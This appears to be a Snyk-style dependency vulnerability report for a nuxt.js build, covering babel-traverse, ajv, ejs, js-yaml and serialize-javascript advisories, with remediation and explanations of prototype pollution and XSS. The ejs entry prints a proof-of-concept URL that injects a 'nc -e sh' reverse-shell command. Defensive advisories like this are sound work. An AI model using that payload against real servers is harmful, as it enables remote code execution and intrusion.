Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: babel-traverse
- Introduced through: babel-core@6.26.3, babel-preset-es2015@6.24.1 and others
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-exponentiation-operator@6.24.1 › babel-helper-builder-binary-assignment-operator-visitor@6.24.1 › babel-helper-explode-assignable-expression@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
Overview
Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs when using plugins that rely on the path.evaluate()
or path.evaluateTruthy()
internal Babel methods.
Note:
This is only exploitable if the attacker uses known affected plugins such as @babel/plugin-transform-runtime
, @babel/preset-env
when using its useBuiltIns
option, and any "polyfill provider" plugin that depends on @babel/helper-define-polyfill-provider
. No other plugins under the @babel/
namespace are impacted, but third-party plugins might be.
Users that only compile trusted code are not impacted.
Workaround
Users who are unable to upgrade the library can upgrade the affected plugins instead, to avoid triggering the vulnerable code path in affected @babel/traverse
.
Remediation
There is no fixed version for babel-traverse
.
References
high severity
- Vulnerable module: ajv
- Introduced through: extract-text-webpack-plugin@2.1.2 and webpack@2.7.0
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › extract-text-webpack-plugin@2.1.2 › schema-utils@0.3.0 › ajv@5.5.2
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › ajv@4.11.8Remediation: Upgrade to webpack@3.11.0.
Overview
ajv is an Another JSON Schema Validator
Affected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade ajv
to version 6.12.3 or higher.
References
high severity
- Vulnerable module: ejs
- Introduced through: offline-plugin@4.9.1 and webpack-bundle-analyzer@2.13.1
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › offline-plugin@4.9.1 › ejs@2.7.4
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack-bundle-analyzer@2.13.1 › ejs@2.7.4Remediation: Upgrade to webpack-bundle-analyzer@4.0.0.
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options
parameter of renderFile
, which makes it possible to inject code into outputFunctionName
.
Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.
PoC:
Creation of reverse shell:
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
Remediation
Upgrade ejs
to version 3.1.7 or higher.
References
high severity
- Vulnerable module: js-yaml
- Introduced through: css-loader@0.28.11
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0Remediation: Upgrade to css-loader@1.0.0.
Overview
js-yaml is a human-friendly data serialization language.
Affected versions of this package are vulnerable to Arbitrary Code Execution. When an object with an executable toString()
property used as a map key, it will execute that function. This happens only for load()
, which should not be used with untrusted data anyway. safeLoad()
is not affected because it can't parse functions.
Remediation
Upgrade js-yaml
to version 3.13.1 or higher.
References
high severity
- Vulnerable module: serialize-javascript
- Introduced through: serialize-javascript@1.9.1, vue-server-renderer@2.3.4 and others
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › serialize-javascript@1.9.1Remediation: Upgrade to serialize-javascript@2.1.1.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue-server-renderer@2.3.4 › serialize-javascript@1.9.1Remediation: Upgrade to vue-server-renderer@2.6.11.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue-ssr-html-stream@2.2.0 › serialize-javascript@1.9.1
Overview
serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It does not properly sanitize against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString()
backslash-escapes all forward slashes in regular expressions.
NOTE: This vulnerability has also been identified as: CVE-2019-16769
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade serialize-javascript
to version 2.1.1 or higher.
References
high severity
- Vulnerable module: serialize-javascript
- Introduced through: serialize-javascript@1.9.1, vue-server-renderer@2.3.4 and others
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › serialize-javascript@1.9.1Remediation: Upgrade to serialize-javascript@2.1.1.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue-server-renderer@2.3.4 › serialize-javascript@1.9.1Remediation: Upgrade to vue-server-renderer@2.6.11.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue-ssr-html-stream@2.2.0 › serialize-javascript@1.9.1
Overview
serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It does not properly sanitize against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString()
backslash-escapes all forward slashes in regular expressions.
NOTE: This vulnerability has also been identified as: CVE-2019-16772
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade serialize-javascript
to version 2.1.1 or higher.
References
high severity
- Vulnerable module: serialize-javascript
- Introduced through: serialize-javascript@1.9.1, vue-server-renderer@2.3.4 and others
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › serialize-javascript@1.9.1Remediation: Upgrade to serialize-javascript@3.1.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue-server-renderer@2.3.4 › serialize-javascript@1.9.1Remediation: Upgrade to vue-server-renderer@2.6.12.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue-ssr-html-stream@2.2.0 › serialize-javascript@1.9.1
Overview
serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.
Affected versions of this package are vulnerable to Arbitrary Code Injection. An object like {"foo": /1"/, "bar": "a\"@__R-<UID>-0__@"}
would be serialized as {"foo": /1"/, "bar": "a\/1"/}
, meaning an attacker could escape out of bar
